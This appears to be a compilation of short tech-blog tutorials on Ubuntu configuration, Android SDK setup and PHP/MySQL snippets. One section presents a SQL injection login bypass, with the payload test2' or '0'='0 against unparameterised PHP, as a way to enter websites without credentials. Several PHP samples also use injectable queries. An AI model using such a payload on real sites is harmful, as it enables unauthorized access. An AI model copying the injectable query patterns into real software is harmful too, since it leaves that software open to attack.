Add Open As Administrator to the Context Menu in Ubuntu

Do you want to enable the command ‘Open as Administrator’ to the context menu in Ubuntu 12.04. When this feature is enabled, you should be able to right-click any file or folder in nautilus and open it as an administrator or root. This will come in handy especially for new users who want to edit or modify files or folders owned by the root user or administrator.

To get started, press Ctrl + Alt + T on your keyboard to open Terminal. When it opens, run the commands below to download it.

 

wget http://www.liberiangeek.net/blog/tools/libnautilus-gksu.so

 

Next, copy the file to the folder using the following command.

 

sudo cp libnautilus-gksu.so /usr/lib/nautilus/extensions-3.0/

 

Restart your computer or use "nautilus -q" to view the changes.

 

How to find id of last inserted row in MYSQL using PHP

 

To find id (auto increment) value of last inserted row, put the following code into the PHP page.

<?php

$link = mysql_connect('localhost', 'mysql_usenamer', 'mysql_password');

if (!$link) {

    die('Could not connect:to the database ' . mysql_error());

}

mysql_select_db('mydb');

 

mysql_query("INSERT INTO mytable (user) values ('jijo')");

printf("Last inserted record has id %d\n", mysql_insert_id());

?>

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Download and Install Android SDK in Ubuntu 12.04

Android SDK is a development environment for the Android mobile operating system which allows you to write applications for Android devices or gain elevated privileges on android devices with the help of third party software.

This brief tutorial is going to show you how to download and install it in Ubuntu 12.04. To install it, you first need to install Java JDK package or use the openJDK Java alternative that comes with Ubuntu.

 

Step 1 - Install Oracle Java Version

 

First we need to install openJDK version of Java. To install Oracle Java version.

To get started, press Ctrl + Alt + T on your keyboard to open the terminal. When it opens, run the commands below to install OpenJDK.

 

sudo apt-get install openjdk-6-jre openjdk-6-jdk icedtea6-plugin

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Step 2 - Download SDK Package

 

Next, download AndroidSDK package by running the commands below. Now the current version was r20. Or click this link to download the .tgz archive file.

 

wget http://dl.google.com/android/android-sdk_r20-linux.tgz

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Disable the Global Menu in Ubuntu

Since Unity Desktop was introduced in Ubuntu, all applications have used one global menu by default. Instead of each application having its own menu bar, it’s now setup that they all share the global menu bar. Maybe this is cool for some, but for others, it’s a real issue.

To get started, press Ctrl + Alt + T on your keyboard to open terminal. When it opens, run the commands below to disable it.

 

sudo apt-get autoremove appmenu-gtk appmenu-gtk3 appmenu-qt

 

Restart your computer to apply the changes.

 

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How to install flash player on Ubuntu

 

Method 1 : Using Terminal

 

Open terminal by pressing Ctrl +Alt + T

 

sudo apt-get install flashplugin-installer

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Method 2: Using Ubuntu Software Center

 

Use the following steps to install flash player plugin

 

1. Click on the Ubuntu Software Center icon.

This icon located on the launcher bar at the left hand side of   the screen.

 

2.Type in "flashplugin-installer" on the search bar and press enter.

 

3.You should find the Adobe Flash plugin pop up in the search results.

 

4.Click on the "Install" button.

 

How to Install or uninstall .deb files

These files are Debian packages. The package files associated with Ubuntu have the .deb suffix because of Ubuntu's close relations with the Debian GNU/Linux distribution.

You will need administrative privileges to install a .deb file.

Method 1

To install a .deb file, simply double click on it, and then select Install Package

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A simple Java Script Date Picker Function

 

A simple and effective date picker can be created using the following java script codes.

 

To download code - Click Here

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Step 1

Create an index.html file and paste the following codes.

Disable the Recovery Mode in Ubuntu 12.04

Recovery Mode in Ubuntu allows you to restore your system, change user passwords and gain root access to your Ubuntu machine in case of an emergency.

Since anyone with physical access to your machine can change user passwords, whereby gaining total access to your machine, disabling this feature will protect you from folks with physical access who want to gain access via recovery mode illegally.

 

However, disabling this feature will also deny you access in case of an emergency when you need to access your computer via recovery mode.

 

So, be careful when doing this, and have a very good reason for turning recovery mode off.

 

To get started, press Ctrl + Alt + T on your keyboard to open the terminal. When it opens, run the commands below to open grub config file.

 

sudo gedit /etc/default/grub

 

How to Install Google Chrome in Ubuntu

 

To get started, press Ctrl – Alt – T on your keyboard to open the terminal. When it opens, copy and paste the commands below to download Google Chrome 32-bit deb package.

 

Method 1

 

wget https://dl.google.com/linux/direct/google-chrome-stable_current_i386.deb

 

Method 2

 

Download location:

    (32-bit): google-chrome-unstable_current_i386.deb

    (64-bit): google-chrome-unstable_current_amd64.deb

 

Next, run the commands below to install Google Chrome.

 

sudo dpkg -i google-chrome*

 

How to use PowerISO as ISO Mounter in windows OS

 

To know more about this software - Click Here

 

To download this software - Click Here

 

PowerISO has a built-in virtual drive, which can mount iso files and other CD / DVD image files. There is no need to install any other virtual drive software to mount ISO file. It is very convenient to mount an ISO file. You can mount it using the main program, using the shell context menu, or using the PowerISO virtual drive manager.

 

Usage1: Mount  ISO file using the main program:

 

Click the "Mount" button on toolbar. PowerISO shows the iso mounter menu.

 

Click a virtual drive from the popup menu.

 

Choose the iso file you want to mount, then click "Open" to mount it.

 

How to login as Administrator in website without having username and password

 

Method 1

 

If the PHP code in the login check page is like below

 

<?php

 

$username=$_POST['username'];

$password=$_POST['password'];

mysql_query("select * from user where username='$username' and password='$password'");

 

?>

 

Then we can easily login to the system without having any username or password. Change the value of username and password so that it bypasses login check.

 

Put the value of username : test1 

Put the value of password  : test2' or '0'='0

 

Then the PHP code in the login check page will be changed to

 

<?php

 

$username=$_POST['username'];

$password=$_POST['password'];

mysql_query("select * from user where username='test1' and password='test2' or '0'='0");

 

?>

 

Then 0=0 will always return a true value. Then database returns the first row from the user table so we can login as the first user.

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How to backup wordpress site

Method 1

The simple and easy way to backup your wordpress site is to download and install “BackUpWordPress” pluggin.  By using this pluggin you can backup database as well as files.

 

To download this pluggin click here. 

 

 

After installing and activating the pluggin you can open “BackUpWordPress” pluggin by Tools --> Backups.You can change the settings and save.

 

How to send Email using PHP

 

Method 1 – Using phpMailer() function

First you need to download phpMailer from the following link

http://code.google.com/a/apache-extras.org/p/phpmailer/downloads/list

Or you can copy the following code and set username and password fields with your own gmail account username and password.

<html>

<head>

<title>PHPMailer - SMTP (Gmail) basic test</title>

</head>

<body>

<?php

//error_reporting(E_ALL);

error_reporting(E_STRICT);

date_default_timezone_set('America/Toronto');

require_once('../class.phpmailer.php');

How to find name of the current page in PHP

Method 1

To display full path name

<?php

echo $_SERVER['PHP_SELF'];

?>

Output ==> /public_html/index.php

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Method 2

To display only the file name use the following query.

<?php

    $currentFile = $_SERVER["PHP_SELF"];

    $parts = Explode('/', $currentFile);

    echo $parts[count($parts) - 1];

?>

Output ==> index.php

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Method 3

<?php

echo realpath(dirname(__FILE__));

 

?>

Output ==> C:\wamp\www\public_html\wp-content\plugins\exec-php\includes

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Method 4

 

<?php

 

echo getcwd();

 

?>

 

Output ==> C:\wamp\www\public_html

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Method 5

 

<?php

 

echo $file=$_SERVER['DOCUMENT_ROOT'];

 

?>

 

Output ==> C:/wamp/www/

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Method 6

<?php

 

echo $_SERVER["SCRIPT_FILENAME"];

 

?>

 

Output ==> C:/wamp/www/public_html/index.php

 

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